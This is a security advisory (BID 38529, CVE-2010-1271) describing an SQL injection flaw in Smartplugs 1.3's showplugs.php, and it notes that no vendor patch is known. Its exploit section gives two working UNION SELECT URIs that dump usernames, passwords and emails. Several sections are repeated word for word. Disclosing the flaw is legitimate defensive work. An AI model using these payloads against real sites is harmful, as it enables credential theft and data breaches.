Smartplugs 'showplugs.php' SQL Injection Vulnerability
BID:38529
Info
Smartplugs 'showplugs.php' SQL Injection Vulnerability
| Bugtraq ID: | 38529 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-1271 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 03 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Easy Laster |
| Vulnerable: |
Smartplugs smartplugs 1.3 |
| Not Vulnerable: | |
Discussion
Smartplugs 'showplugs.php' SQL Injection Vulnerability
Smartplugs is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Smartplugs 1.3 is vulnerable; other versions may also be affected.
Smartplugs is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Smartplugs 1.3 is vulnerable; other versions may also be affected.
Exploit / POC
Smartplugs 'showplugs.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/smartplugs/showplugs.php?domain=-9999999999'+union+select+1,
concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6+from+user--+
http://www.example.com/smartplugs/showplugs.php?domain=-9999999999'+union+select+1,
concat(username,0x3a,password),3,4,5,6+from+logins--+
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/smartplugs/showplugs.php?domain=-9999999999'+union+select+1,
concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6+from+user--+
http://www.example.com/smartplugs/showplugs.php?domain=-9999999999'+union+select+1,
concat(username,0x3a,password),3,4,5,6+from+logins--+
Solution / Fix
Smartplugs 'showplugs.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].